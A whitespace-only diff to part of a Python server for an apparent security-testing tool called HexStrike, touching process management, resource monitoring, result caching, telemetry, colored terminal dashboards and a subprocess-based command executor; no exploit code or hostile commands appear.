@@ -5323,33 +5323,33 @@ class EnhancedProcessManager:
                 "execution_time": execution_time,
                 "error": str(e)
             }
-            
+
             self.performance_dashboard.record_execution(command, error_result)
             return error_result
-        
+
         finally:
             # Cleanup process registry
             with self.registry_lock:
                 if hasattr(process, 'pid') and process.pid in self.process_registry:
                     del self.process_registry[process.pid]
-    
+
     def get_task_result(self, task_id: str) -> Dict[str, Any]:
         """Get result of async task"""
         return self.process_pool.get_task_result(task_id)
-    
+
     def terminate_process_gracefully(self, pid: int, timeout: int = 30) -> bool:
         """Terminate process with graceful degradation"""
         try:
             with self.registry_lock:
                 if pid not in self.process_registry:
                     return False
-                
+
                 process_info = self.process_registry[pid]
                 process = process_info["process"]
-                
+
                 # Try graceful termination first
                 process.terminate()
-                
+
                 # Wait for graceful termination
                 try:
                     process.wait(timeout=timeout)
@@ -5362,52 +5362,52 @@ class EnhancedProcessManager:
                     process_info["status"] = "force_killed"
                     logger.warning(f"⚠️ Process {pid} force killed after timeout")
                     return True
-                    
+
         except Exception as e:
             logger.error(f"💥 Error terminating process {pid}: {str(e)}")
             return False
-    
+
     def _monitor_system(self):
         """Monitor system resources and auto-scale"""
         while True:
             try:
                 time.sleep(15)  # Monitor every 15 seconds
-                
+
                 # Get current resource usage
                 resource_usage = self.resource_monitor.get_current_usage()
-                
+
                 # Auto-scaling based on resource usage
                 if self.auto_scaling_enabled:
                     self._auto_scale_based_on_resources(resource_usage)
-                
+
                 # Update performance dashboard
                 self.performance_dashboard.update_system_metrics(resource_usage)
-                
+
             except Exception as e:
                 logger.error(f"💥 System monitoring error: {str(e)}")
-    
+
     def _auto_scale_based_on_resources(self, resource_usage: Dict[str, float]):
         """Auto-scale process pool based on resource usage"""
         pool_stats = self.process_pool.get_pool_stats()
         current_workers = pool_stats["active_workers"]
-        
+
         # Scale down if resources are constrained
         if (resource_usage["cpu_percent"] > self.resource_thresholds["cpu_high"] or
             resource_usage["memory_percent"] > self.resource_thresholds["memory_high"]):
-            
+
             if current_workers > self.process_pool.min_workers:
                 self.process_pool._scale_down(1)
                 logger.info(f"📉 Auto-scaled down due to high resource usage: CPU {resource_usage['cpu_percent']:.1f}%, Memory {resource_usage['memory_percent']:.1f}%")
-        
+
         # Scale up if resources are available and there's demand
-        elif (resource_usage["cpu_percent"] < 60 and 
+        elif (resource_usage["cpu_percent"] < 60 and
               resource_usage["memory_percent"] < 70 and
               pool_stats["queue_size"] > 2):
-            
+
             if current_workers < self.process_pool.max_workers:
                 self.process_pool._scale_up(1)
                 logger.info(f"📈 Auto-scaled up due to available resources and demand")
-    
+
     def get_comprehensive_stats(self) -> Dict[str, Any]:
         """Get comprehensive system and process statistics"""
         return {
@@ -5422,12 +5422,12 @@ class EnhancedProcessManager:
 
 class ResourceMonitor:
     """Advanced resource monitoring with historical tracking"""
-    
+
     def __init__(self, history_size=100):
         self.history_size = history_size
         self.usage_history = []
         self.history_lock = threading.Lock()
-    
+
     def get_current_usage(self) -> Dict[str, float]:
         """Get current system resource usage"""
         try:
@@ -5435,7 +5435,7 @@ class ResourceMonitor:
             memory = psutil.virtual_memory()
             disk = psutil.disk_usage('/')
             network = psutil.net_io_counters()
-            
+
             usage = {
                 "cpu_percent": cpu_percent,
                 "memory_percent": memory.percent,
@@ -5446,15 +5446,15 @@ class ResourceMonitor:
                 "network_bytes_recv": network.bytes_recv,
                 "timestamp": time.time()
             }
-            
+
             # Add to history
             with self.history_lock:
                 self.usage_history.append(usage)
                 if len(self.usage_history) > self.history_size:
                     self.usage_history.pop(0)
-            
+
             return usage
-            
+
         except Exception as e:
             logger.error(f"💥 Error getting resource usage: {str(e)}")
             return {
@@ -5467,7 +5467,7 @@ class ResourceMonitor:
                 "network_bytes_recv": 0,
                 "timestamp": time.time()
             }
-    
+
     def get_process_usage(self, pid: int) -> Dict[str, Any]:
         """Get resource usage for specific process"""
         try:
@@ -5481,18 +5481,18 @@ class ResourceMonitor:
             }
         except (psutil.NoSuchProcess, psutil.AccessDenied):
             return {}
-    
+
     def get_usage_trends(self) -> Dict[str, Any]:
         """Get resource usage trends"""
         with self.history_lock:
             if len(self.usage_history) < 2:
                 return {}
-            
+
             recent = self.usage_history[-10:]  # Last 10 measurements
-            
+
             cpu_trend = sum(u["cpu_percent"] for u in recent) / len(recent)
             memory_trend = sum(u["memory_percent"] for u in recent) / len(recent)
-            
+
             return {
                 "cpu_avg_10": cpu_trend,
                 "memory_avg_10": memory_trend,
@@ -5502,13 +5502,13 @@ class ResourceMonitor:
 
 class PerformanceDashboard:
     """Real-time performance monitoring dashboard"""
-    
+
     def __init__(self):
         self.execution_history = []
         self.system_metrics = []
         self.dashboard_lock = threading.Lock()
         self.max_history = 1000
-    
+
     def record_execution(self, command: str, result: Dict[str, Any]):
         """Record command execution for performance tracking"""
         with self.dashboard_lock:
@@ -5519,30 +5519,30 @@ class PerformanceDashboard:
                 "return_code": result.get("return_code", -1),
                 "timestamp": time.time()
             }
-            
+
             self.execution_history.append(execution_record)
             if len(self.execution_history) > self.max_history:
                 self.execution_history.pop(0)
-    
+
     def update_system_metrics(self, metrics: Dict[str, Any]):
         """Update system metrics for dashboard"""
         with self.dashboard_lock:
             self.system_metrics.append(metrics)
             if len(self.system_metrics) > self.max_history:
                 self.system_metrics.pop(0)
-    
+
     def get_summary(self) -> Dict[str, Any]:
         """Get performance summary"""
         with self.dashboard_lock:
             if not self.execution_history:
                 return {"executions": 0}
-            
+
             recent_executions = self.execution_history[-100:]  # Last 100 executions
-            
+
             total_executions = len(recent_executions)
             successful_executions = sum(1 for e in recent_executions if e["success"])
             avg_execution_time = sum(e["execution_time"] for e in recent_executions) / total_executions
-            
+
             return {
                 "total_executions": len(self.execution_history),
                 "recent_executions": total_executions,
@@ -5575,7 +5575,7 @@ process_lock = threading.Lock()
 
 class ProcessManager:
     """Enhanced process manager for command termination and monitoring"""
-    
+
     @staticmethod
     def register_process(pid, command, process_obj):
         """Register a new active process"""
@@ -5591,7 +5591,7 @@ class ProcessManager:
                 "bytes_processed": 0
             }
             logger.info(f"🆔 REGISTERED: Process {pid} - {command[:50]}...")
-    
+
     @staticmethod
     def update_process_progress(pid, progress, last_output="", bytes_processed=0):
         """Update process progress and stats"""
@@ -5601,15 +5601,15 @@ class ProcessManager:
                 active_processes[pid]["last_output"] = last_output
                 active_processes[pid]["bytes_processed"] = bytes_processed
                 runtime = time.time() - active_processes[pid]["start_time"]
-                
+
                 # Calculate ETA if progress > 0
                 eta = 0
                 if progress > 0:
                     eta = (runtime / progress) * (1.0 - progress)
-                
+
                 active_processes[pid]["runtime"] = runtime
                 active_processes[pid]["eta"] = eta
-    
+
     @staticmethod
     def terminate_process(pid):
         """Terminate a specific process"""
@@ -5623,7 +5623,7 @@ class ProcessManager:
                         time.sleep(1)  # Give it a chance to terminate gracefully
                         if process_obj.poll() is None:
                             process_obj.kill()  # Force kill if still running
-                        
+
                         active_processes[pid]["status"] = "terminated"
                         logger.warning(f"🛑 TERMINATED: Process {pid} - {process_info['command'][:50]}...")
                         return True
@@ -5631,7 +5631,7 @@ class ProcessManager:
                     logger.error(f"💥 Error terminating process {pid}: {str(e)}")
                     return False
             return False
-    
+
     @staticmethod
     def cleanup_process(pid):
         """Remove process from active registry"""
@@ -5641,19 +5641,19 @@ class ProcessManager:
                 logger.info(f"🧹 CLEANUP: Process {pid} removed from registry")
                 return process_info
             return None
-    
+
     @staticmethod
     def get_process_status(pid):
         """Get status of a specific process"""
         with process_lock:
             return active_processes.get(pid, None)
-    
+
     @staticmethod
     def list_active_processes():
         """List all active processes"""
         with process_lock:
             return dict(active_processes)
-    
+
     @staticmethod
     def pause_process(pid):
         """Pause a specific process (SIGSTOP)"""
@@ -5669,7 +5669,7 @@ class ProcessManager:
                 except Exception as e:
                     logger.error(f"💥 Error pausing process {pid}: {str(e)}")
             return False
-    
+
     @staticmethod
     def resume_process(pid):
         """Resume a paused process (SIGCONT)"""
@@ -5694,7 +5694,7 @@ class ProcessManager:
     BG_MAGENTA = '\033[45m'
     BG_CYAN = '\033[46m'
     BG_WHITE = '\033[47m'
-    
+
     # Text effects
     DIM = '\033[2m'
     UNDERLINE = '\033[4m'
@@ -5704,11 +5704,11 @@ class ProcessManager:
 
 class PythonEnvironmentManager:
     """Manage Python virtual environments and dependencies"""
-    
+
     def __init__(self, base_dir: str = "/tmp/hexstrike_envs"):
         self.base_dir = Path(base_dir)
         self.base_dir.mkdir(exist_ok=True)
-    
+
     def create_venv(self, env_name: str) -> Path:
         """Create a new virtual environment"""
         env_path = self.base_dir / env_name
@@ -5716,14 +5716,14 @@ class PythonEnvironmentManager:
             logger.info(f"🐍 Creating virtual environment: {env_name}")
             venv.create(env_path, with_pip=True)
         return env_path
-    
+
     def install_package(self, env_name: str, package: str) -> bool:
         """Install a package in the specified environment"""
         env_path = self.create_venv(env_name)
         pip_path = env_path / "bin" / "pip"
-        
+
         try:
-            result = subprocess.run([str(pip_path), "install", package], 
+            result = subprocess.run([str(pip_path), "install", package],
                                   capture_output=True, text=True, timeout=300)
             if result.returncode == 0:
                 logger.info(f"📦 Installed package {package} in {env_name}")
@@ -5734,7 +5734,7 @@ class PythonEnvironmentManager:
         except Exception as e:
             logger.error(f"💥 Error installing package {package}: {e}")
             return False
-    
+
     def get_python_path(self, env_name: str) -> str:
         """Get Python executable path for environment"""
         env_path = self.create_venv(env_name)
@@ -5749,29 +5749,29 @@ env_manager = PythonEnvironmentManager()
 
 class CVEIntelligenceManager:
     """Advanced CVE Intelligence and Vulnerability Management System"""
-    
+
     def __init__(self):
         self.cve_cache = {}
         self.vulnerability_db = {}
         self.threat_intelligence = {}
-    
+
     @staticmethod
     def create_banner():
         """Reuse unified ModernVisualEngine banner (legacy hook)."""
         return ModernVisualEngine.create_banner()
-    
+
     @staticmethod
-    def render_progress_bar(progress: float, width: int = 40, style: str = 'cyber', 
+    def render_progress_bar(progress: float, width: int = 40, style: str = 'cyber',
                           label: str = "", eta: float = 0, speed: str = "") -> str:
         """Render a beautiful progress bar with multiple styles"""
-        
+
         # Clamp progress between 0 and 1
         progress = max(0.0, min(1.0, progress))
-        
+
         # Calculate filled and empty portions
         filled_width = int(width * progress)
         empty_width = width - filled_width
-        
+
         # Style-specific rendering
         if style == 'cyber':
             filled_char = '█'; empty_char = '░'
@@ -5789,47 +5789,47 @@ class CVEIntelligenceManager:
             filled_char = '█'; empty_char = '░'
             bar_color = ModernVisualEngine.COLORS['ACCENT_LINE']
             progress_color = ModernVisualEngine.COLORS['PRIMARY_BORDER']
-        
+
         # Build the progress bar
         filled_part = bar_color + filled_char * filled_width
         empty_part = ModernVisualEngine.COLORS['TERMINAL_GRAY'] + empty_char * empty_width
         percentage = f"{progress * 100:.1f}%"
-        
+
         # Add ETA and speed if provided
         eta_str = f" | ETA: {eta:.0f}s" if eta > 0 else ""
         speed_str = f" | {speed}" if speed else ""
-        
+
         # Construct the full progress bar
         bar = f"{progress_color}[{filled_part}{empty_part}{ModernVisualEngine.COLORS['RESET']}{progress_color}] {percentage}{eta_str}{speed_str}{ModernVisualEngine.COLORS['RESET']}"
-        
+
         if label:
             return f"{ModernVisualEngine.COLORS['BOLD']}{label}{ModernVisualEngine.COLORS['RESET']} {bar}"
         return bar
-    
+
     @staticmethod
     def render_vulnerability_card(vuln_data: Dict[str, Any]) -> str:
         """Render vulnerability as a beautiful card with severity indicators"""
-        
+
         severity = vuln_data.get('severity', 'info').lower()
         title = vuln_data.get('title', 'Unknown Vulnerability')
         url = vuln_data.get('url', 'N/A')
         description = vuln_data.get('description', 'No description available')
         cvss = vuln_data.get('cvss_score', 0.0)
-        
+
         # Get severity color
         severity_color = ModernVisualEngine.COLORS['HACKER_RED'] if severity == 'critical' else ModernVisualEngine.COLORS['HACKER_RED'] if severity == 'high' else ModernVisualEngine.COLORS['CYBER_ORANGE'] if severity == 'medium' else ModernVisualEngine.COLORS['CYBER_ORANGE'] if severity == 'low' else ModernVisualEngine.COLORS['NEON_BLUE']
-        
+
         # Severity indicators
         severity_indicators = {
             'critical': '🔥 CRITICAL',
             'high': '⚠️  HIGH',
-            'medium': '📊 MEDIUM', 
+            'medium': '📊 MEDIUM',
             'low': '📝 LOW',
             'info': 'ℹ️  INFO'
         }
-        
+
         severity_badge = severity_indicators.get(severity, '❓ UNKNOWN')
-        
+
         # Create the vulnerability card
         card = f"""
 {ModernVisualEngine.COLORS['BOLD']}╭─────────────────────────────────────────────────────────────────────────────╮{ModernVisualEngine.COLORS['RESET']}
@@ -5842,27 +5842,27 @@ class CVEIntelligenceManager:
 {ModernVisualEngine.COLORS['BOLD']}╰─────────────────────────────────────────────────────────────────────────────╯{ModernVisualEngine.COLORS['RESET']}
 """
         return card
-    
+
     @staticmethod
     def create_live_dashboard(processes: Dict[int, Dict[str, Any]]) -> str:
         """Create a live dashboard showing all active processes"""
-        
+
         if not processes:
             return f"{ModernVisualEngine.COLORS['TERMINAL_GRAY']}📊 No active processes{ModernVisualEngine.COLORS['RESET']}"
-        
+
         dashboard = f"""
 {ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}╔══════════════════════════════════════════════════════════════════════════════╗
 ║                           🚀 LIVE PROCESS DASHBOARD                          ║
 ╠══════════════════════════════════════════════════════════════════════════════╣{ModernVisualEngine.COLORS['RESET']}
 """
-        
+
         for pid, proc_info in processes.items():
             command = proc_info.get('command', 'Unknown')[:50]
             status = proc_info.get('status', 'unknown')
             progress = proc_info.get('progress', 0.0)
             runtime = proc_info.get('runtime', 0)
             eta = proc_info.get('eta', 0)
-            
+
             # Status color coding
             status_colors = {
                 'running': ModernVisualEngine.COLORS['MATRIX_GREEN'],
@@ -5871,39 +5871,39 @@ class CVEIntelligenceManager:
                 'completed': ModernVisualEngine.COLORS['NEON_BLUE']
             }
             status_color = status_colors.get(status, ModernVisualEngine.COLORS['BRIGHT_WHITE'])
-            
+
             # Create mini progress bar
             mini_bar = ModernVisualEngine.render_progress_bar(
                 progress, width=20, style='cyber', eta=eta
             )
-            
+
             dashboard += f"""{ModernVisualEngine.COLORS['BOLD']}║{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['NEON_BLUE']}PID {pid}{ModernVisualEngine.COLORS['RESET']} │ {status_color}{status.upper()}{ModernVisualEngine.COLORS['RESET']} │ {runtime:.1f}s │ {command}...
 {ModernVisualEngine.COLORS['BOLD']}║{ModernVisualEngine.COLORS['RESET']} {mini_bar}
 {ModernVisualEngine.COLORS['BOLD']}╠──────────────────────────────────────────────────────────────────────────────╣{ModernVisualEngine.COLORS['RESET']}
 """
-        
+
         dashboard += f"{ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}╚══════════════════════════════════════════════════════════════════════════════╝{ModernVisualEngine.COLORS['RESET']}"
-        
+
         return dashboard
-    
+
     @staticmethod
     def format_tool_output(tool: str, output: str, success: bool = True) -> str:
         """Format tool output with syntax highlighting and structure"""
-        
+
         # Get tool icon
         tool_icon = '🛠️'  # Default tool icon
-        
+
         # Status indicator
         status_icon = "✅" if success else "❌"
         status_color = ModernVisualEngine.COLORS['MATRIX_GREEN'] if success else ModernVisualEngine.COLORS['HACKER_RED']
-        
+
         # Format the output with structure
         formatted_output = f"""
 {ModernVisualEngine.COLORS['BOLD']}╭─ {tool_icon} {tool.upper()} OUTPUT ─────────────────────────────────────────────╮{ModernVisualEngine.COLORS['RESET']}
 {ModernVisualEngine.COLORS['BOLD']}│{ModernVisualEngine.COLORS['RESET']} {status_color}{status_icon} Status: {'SUCCESS' if success else 'FAILED'}{ModernVisualEngine.COLORS['RESET']}
 {ModernVisualEngine.COLORS['BOLD']}├─────────────────────────────────────────────────────────────────────────────┤{ModernVisualEngine.COLORS['RESET']}
 """
-        
+
         # Process output lines with syntax highlighting
         lines = output.split('\n')
         for line in lines[:20]:  # Limit to first 20 lines for readability
@@ -5917,24 +5917,24 @@ class CVEIntelligenceManager:
                     formatted_output += f"{ModernVisualEngine.COLORS['BOLD']}│{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['WARNING']}{line[:75]}{ModernVisualEngine.COLORS['RESET']}\n"
                 else:
                     formatted_output += f"{ModernVisualEngine.COLORS['BOLD']}│{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['BRIGHT_WHITE']}{line[:75]}{ModernVisualEngine.COLORS['RESET']}\n"
-        
+
         if len(lines) > 20:
             formatted_output += f"{ModernVisualEngine.COLORS['BOLD']}│{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['TERMINAL_GRAY']}... ({len(lines) - 20} more lines truncated){ModernVisualEngine.COLORS['RESET']}\n"
-        
+
         formatted_output += f"{ModernVisualEngine.COLORS['BOLD']}╰─────────────────────────────────────────────────────────────────────────────╯{ModernVisualEngine.COLORS['RESET']}"
-        
+
         return formatted_output
-    
+
     @staticmethod
     def create_summary_report(results: Dict[str, Any]) -> str:
         """Generate a beautiful summary report"""
-        
+
         total_vulns = len(results.get('vulnerabilities', []))
         critical_vulns = len([v for v in results.get('vulnerabilities', []) if v.get('severity') == 'critical'])
         high_vulns = len([v for v in results.get('vulnerabilities', []) if v.get('severity') == 'high'])
         execution_time = results.get('execution_time', 0)
         tools_used = results.get('tools_used', [])
-        
+
         report = f"""
 {ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}╔══════════════════════════════════════════════════════════════════════════════╗
 ║                              📊 SCAN SUMMARY REPORT                          ║
@@ -5944,7 +5944,7 @@ class CVEIntelligenceManager:
 {ModernVisualEngine.COLORS['BOLD']}║{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['WARNING']}🛠️  Tools Used:{ModernVisualEngine.COLORS['RESET']} {len(tools_used)} tools
 {ModernVisualEngine.COLORS['BOLD']}╠──────────────────────────────────────────────────────────────────────────────╣{ModernVisualEngine.COLORS['RESET']}
 {ModernVisualEngine.COLORS['BOLD']}║{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['HACKER_RED']}🔥 Critical:{ModernVisualEngine.COLORS['RESET']} {critical_vulns} vulnerabilities
-{ModernVisualEngine.COLORS['BOLD']}║{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['ERROR']}⚠️  High:{ModernVisualEngine.COLORS['RESET']} {high_vulns} vulnerabilities  
+{ModernVisualEngine.COLORS['BOLD']}║{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['ERROR']}⚠️  High:{ModernVisualEngine.COLORS['RESET']} {high_vulns} vulnerabilities
 {ModernVisualEngine.COLORS['BOLD']}║{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['MATRIX_GREEN']}📈 Total Found:{ModernVisualEngine.COLORS['RESET']} {total_vulns} vulnerabilities
 {ModernVisualEngine.COLORS['BOLD']}╠──────────────────────────────────────────────────────────────────────────────╣{ModernVisualEngine.COLORS['RESET']}
 {ModernVisualEngine.COLORS['BOLD']}║{ModernVisualEngine.COLORS['RESET']} {ModernVisualEngine.COLORS['ELECTRIC_PURPLE']}🚀 Tools:{ModernVisualEngine.COLORS['RESET']} {', '.join(tools_used[:5])}{'...' if len(tools_used) > 5 else ''}
@@ -5955,7 +5955,7 @@ class CVEIntelligenceManager:
 # Configure enhanced logging with colors
 class ColoredFormatter(logging.Formatter):
     """Custom formatter with colors and emojis"""
-    
+
     COLORS = {
         'DEBUG': ModernVisualEngine.COLORS['DEBUG'],
         'INFO': ModernVisualEngine.COLORS['SUCCESS'],
@@ -5963,7 +5963,7 @@ class ColoredFormatter(logging.Formatter):
         'ERROR': ModernVisualEngine.COLORS['ERROR'],
         'CRITICAL': ModernVisualEngine.COLORS['CRITICAL']
     }
-    
+
     EMOJIS = {
         'DEBUG': '🔍',
         'INFO': '✅',
@@ -5971,11 +5971,11 @@ class ColoredFormatter(logging.Formatter):
         'ERROR': '❌',
         'CRITICAL': '🔥'
     }
-    
+
     def format(self, record):
         emoji = self.EMOJIS.get(record.levelname, '📝')
         color = self.COLORS.get(record.levelname, ModernVisualEngine.COLORS['BRIGHT_WHITE'])
-        
+
         # Add color and emoji to the message
         record.msg = f"{color}{emoji} {record.msg}{ModernVisualEngine.COLORS['RESET']}"
         return super().format(record)
@@ -5985,11 +5985,11 @@ def setup_logging():
     """Setup enhanced logging with colors and formatting"""
     logger = logging.getLogger()
     logger.setLevel(logging.INFO)
-    
+
     # Clear existing handlers
     for handler in logger.handlers[:]:
         logger.removeHandler(handler)
-    
+
     # Console handler with colors
     console_handler = logging.StreamHandler(sys.stdout)
     console_handler.setFormatter(ColoredFormatter(
@@ -5997,7 +5997,7 @@ def setup_logging():
         datefmt="%Y-%m-%d %H:%M:%S"
     ))
     logger.addHandler(console_handler)
-    
+
     return logger
 
 # Configuration (using existing API_PORT from top of file)
@@ -6008,26 +6008,26 @@ CACHE_TTL = 3600  # 1 hour
 
 class HexStrikeCache:
     """Advanced caching system for command results"""
-    
+
     def __init__(self, max_size: int = CACHE_SIZE, ttl: int = CACHE_TTL):
         self.cache = OrderedDict()
         self.max_size = max_size
         self.ttl = ttl
         self.stats = {"hits": 0, "misses": 0, "evictions": 0}
-        
+
     def _generate_key(self, command: str, params: Dict[str, Any]) -> str:
         """Generate cache key from command and parameters"""
         key_data = f"{command}:{json.dumps(params, sort_keys=True)}"
         return hashlib.md5(key_data.encode()).hexdigest()
-    
+
     def _is_expired(self, timestamp: float) -> bool:
         """Check if cache entry is expired"""
         return time.time() - timestamp > self.ttl
-    
+
     def get(self, command: str, params: Dict[str, Any]) -> Optional[Dict[str, Any]]:
         """Get cached result if available and not expired"""
         key = self._generate_key(command, params)
-        
+
         if key in self.cache:
             timestamp, data = self.cache[key]
             if not self._is_expired(timestamp):
@@ -6039,29 +6039,29 @@ class HexStrikeCache:
             else:
                 # Remove expired entry
                 del self.cache[key]
-        
+
         self.stats["misses"] += 1
         logger.info(f"🔍 Cache MISS for command: {command}")
         return None
-    
+
     def set(self, command: str, params: Dict[str, Any], result: Dict[str, Any]):
         """Store result in cache"""
         key = self._generate_key(command, params)
-        
+
         # Remove oldest entries if cache is full
         while len(self.cache) >= self.max_size:
             oldest_key = next(iter(self.cache))
             del self.cache[oldest_key]
             self.stats["evictions"] += 1
-        
+
         self.cache[key] = (time.time(), result)
         logger.info(f"💾 Cached result for command: {command}")
-    
+
     def get_stats(self) -> Dict[str, Any]:
         """Get cache statistics"""
         total_requests = self.stats["hits"] + self.stats["misses"]
         hit_rate = (self.stats["hits"] / total_requests * 100) if total_requests > 0 else 0
-        
+
         return {
             "size": len(self.cache),
             "max_size": self.max_size,
@@ -6076,7 +6076,7 @@ cache = HexStrikeCache()
 
 class TelemetryCollector:
     """Collect and manage system telemetry"""
-    
+
     def __init__(self):
         self.stats = {
             "commands_executed": 0,
@@ -6085,7 +6085,7 @@ class TelemetryCollector:
             "total_execution_time": 0.0,
             "start_time": time.time()
         }
-    
+
     def record_execution(self, success: bool, execution_time: float):
         """Record command execution statistics"""
         self.stats["commands_executed"] += 1
@@ -6094,7 +6094,7 @@ class TelemetryCollector:
         else:
             self.stats["failed_commands"] += 1
         self.stats["total_execution_time"] += execution_time
-    
+
     def get_system_metrics(self) -> Dict[str, Any]:
         """Get current system metrics"""
         return {
@@ -6103,13 +6103,13 @@ class TelemetryCollector:
             "disk_usage": psutil.disk_usage('/').percent,
             "network_io": psutil.net_io_counters()._asdict() if psutil.net_io_counters() else {}
         }
-    
+
     def get_stats(self) -> Dict[str, Any]:
         """Get telemetry statistics"""
         uptime = time.time() - self.stats["start_time"]
         success_rate = (self.stats["successful_commands"] / self.stats["commands_executed"] * 100) if self.stats["commands_executed"] > 0 else 0
         avg_execution_time = (self.stats["total_execution_time"] / self.stats["commands_executed"]) if self.stats["commands_executed"] > 0 else 0
-        
+
         return {
             "uptime_seconds": uptime,
             "commands_executed": self.stats["commands_executed"],
@@ -6123,7 +6123,7 @@ telemetry = TelemetryCollector()
 
 class EnhancedCommandExecutor:
     """Enhanced command executor with caching, progress tracking, and better output handling"""
-    
+
     def __init__(self, command: str, timeout: int = COMMAND_TIMEOUT):
         self.command = command
         self.timeout = timeout
@@ -6136,7 +6136,7 @@ class EnhancedCommandExecutor:
         self.timed_out = False
         self.start_time = None
         self.end_time = None
-        
+
     def _read_stdout(self):
         """Thread function to continuously read and display stdout"""
         try:
@@ -6147,7 +6147,7 @@ class EnhancedCommandExecutor:
                     logger.info(f"📤 STDOUT: {line.strip()}")
         except Exception as e:
             logger.error(f"Error reading stdout: {e}")
-    
+
     def _read_stderr(self):
         """Thread function to continuously read and display stderr"""
         try:
@@ -6158,7 +6158,7 @@ class EnhancedCommandExecutor:
                     logger.warning(f"📥 STDERR: {line.strip()}")
         except Exception as e:
             logger.error(f"Error reading stderr: {e}")
-    
+
     def _show_progress(self, duration: float):
         """Show enhanced progress indication for long-running commands"""
         if duration > 2:  # Show progress for commands taking more than 2 seconds
@@ -6168,20 +6168,20 @@ class EnhancedCommandExecutor:
             while self.process and self.process.poll() is None:
                 elapsed = time.time() - start
                 char = progress_chars[i % len(progress_chars)]
-                
+
                 # Calculate progress percentage (rough estimate)
                 progress_percent = min((elapsed / self.timeout) * 100, 99.9)
                 progress_fraction = progress_percent / 100
-                
+
                 # Calculate ETA
                 eta = 0
                 if progress_percent > 5:  # Only show ETA after 5% progress
                     eta = ((elapsed / progress_percent) * 100) - elapsed
-                
+
                 # Calculate speed
                 bytes_processed = len(self.stdout_data) + len(self.stderr_data)
                 speed = f"{bytes_processed/elapsed:.0f} B/s" if elapsed > 0 else "0 B/s"
-                
+
                 # Update process manager with progress
                 ProcessManager.update_process_progress(
                     self.process.pid,
@@ -6189,30 +6189,30 @@ class EnhancedCommandExecutor:
                     f"Running for {elapsed:.1f}s",
                     bytes_processed
                 )
-                
+
                 # Create beautiful progress bar using ModernVisualEngine
                 progress_bar = ModernVisualEngine.render_progress_bar(
-                    progress_fraction, 
-                    width=30, 
+                    progress_fraction,
+                    width=30,
                     style='cyber',
                     label=f"⚡ PROGRESS {char}",
                     eta=eta,
                     speed=speed
                 )
-                
+
                 logger.info(f"{progress_bar} | {elapsed:.1f}s | PID: {self.process.pid}")
                 time.sleep(0.8)
                 i += 1
                 if elapsed > self.timeout:
                     break
-    
+
     def execute(self) -> Dict[str, Any]:
         """Execute the command with enhanced monitoring and output"""
         self.start_time = time.time()
-        
+
         logger.info(f"🚀 EXECUTING: {self.command}")
         logger.info(f"⏱️  TIMEOUT: {self.timeout}s | PID: Starting...")
-        
+
         try:
             self.process = subprocess.Popen(
                 self.command,
@@ -6222,13 +6222,13 @@ class EnhancedCommandExecutor:
                 text=True,
                 bufsize=1
             )
-            
+
             pid = self.process.pid
             logger.info(f"🆔 PROCESS: PID {pid} started")
-            
+
             # Register process with ProcessManager (v5.0 enhancement)
             ProcessManager.register_process(pid, self.command, self.process)
-            
+
             # Start threads to read output continuously
             self.stdout_thread = threading.Thread(target=self._read_stdout)
             self.stderr_thread = threading.Thread(target=self._read_stderr)
@@ -6236,41 +6236,41 @@ class EnhancedCommandExecutor:
             self.stderr_thread.daemon = True
             self.stdout_thread.start()
             self.stderr_thread.start()
-            
+
             # Start progress tracking in a separate thread
             progress_thread = threading.Thread(target=self._show_progress, args=(self.timeout,))
             progress_thread.daemon = True
             progress_thread.start()
-            
+
             # Wait for the process to complete or timeout
             try:
                 self.return_code = self.process.wait(timeout=self.timeout)
                 self.end_time = time.time()
-                
+
                 # Process completed, join the threads
                 self.stdout_thread.join(timeout=1)
                 self.stderr_thread.join(timeout=1)
-                
+
                 execution_time = self.end_time - self.start_time
-                
+
                 # Cleanup process from registry (v5.0 enhancement)
                 ProcessManager.cleanup_process(pid)
-                
+
                 if self.return_code == 0:
                     logger.info(f"✅ SUCCESS: Command completed | Exit Code: {self.return_code} | Duration: {execution_time:.2f}s")
                     telemetry.record_execution(True, execution_time)
                 else:
                     logger.warning(f"⚠️  WARNING: Command completed with errors | Exit Code: {self.return_code} | Duration: {execution_time:.2f}s")
                     telemetry.record_execution(False, execution_time)
-                    
+
             except subprocess.TimeoutExpired:
                 self.end_time = time.time()
                 execution_time = self.end_time - self.start_time
-                
+
                 # Process timed out but we might have partial results
                 self.timed_out = True
                 logger.warning(f"⏰ TIMEOUT: Command timed out after {self.timeout}s | Terminating PID {self.process.pid}")
-                
+
                 # Try to terminate gracefully first
                 self.process.terminate()
                 try:
@@ -6279,22 +6279,22 @@ class EnhancedCommandExecutor:
                     # Force kill if it doesn't terminate
                     logger.error(f"🔪 FORCE KILL: Process {self.process.pid} not responding to termination")
                     self.process.kill()
-                
+
                 self.return_code = -1
                 telemetry.record_execution(False, execution_time)
-            
+
             # Always consider it a success if we have output, even with timeout
             success = True if self.timed_out and (self.stdout_data or self.stderr_data) else (self.return_code == 0)
-            
+
             # Log enhanced final results with summary using ModernVisualEngine
             output_size = len(self.stdout_data) + len(self.stderr_data)
             execution_time = self.end_time - self.start_time if self.end_time else 0
-            
+
             # Create status summary
             status_icon = "✅" if success else "❌"
             status_color = ModernVisualEngine.COLORS['MATRIX_GREEN'] if success else ModernVisualEngine.COLORS['HACKER_RED']
             timeout_status = f" {ModernVisualEngine.COLORS['WARNING']}[TIMEOUT]{ModernVisualEngine.COLORS['RESET']}" if self.timed_out else ""
-            
+
             # Create beautiful results summary
             results_summary = f"""
 {ModernVisualEngine.COLORS['MATRIX_GREEN']}{ModernVisualEngine.COLORS['BOLD']}╭─────────────────────────────────────────────────────────────────────────────╮{ModernVisualEngine.COLORS['RESET']}
@@ -6307,12 +6307,12 @@ class EnhancedCommandExecutor:
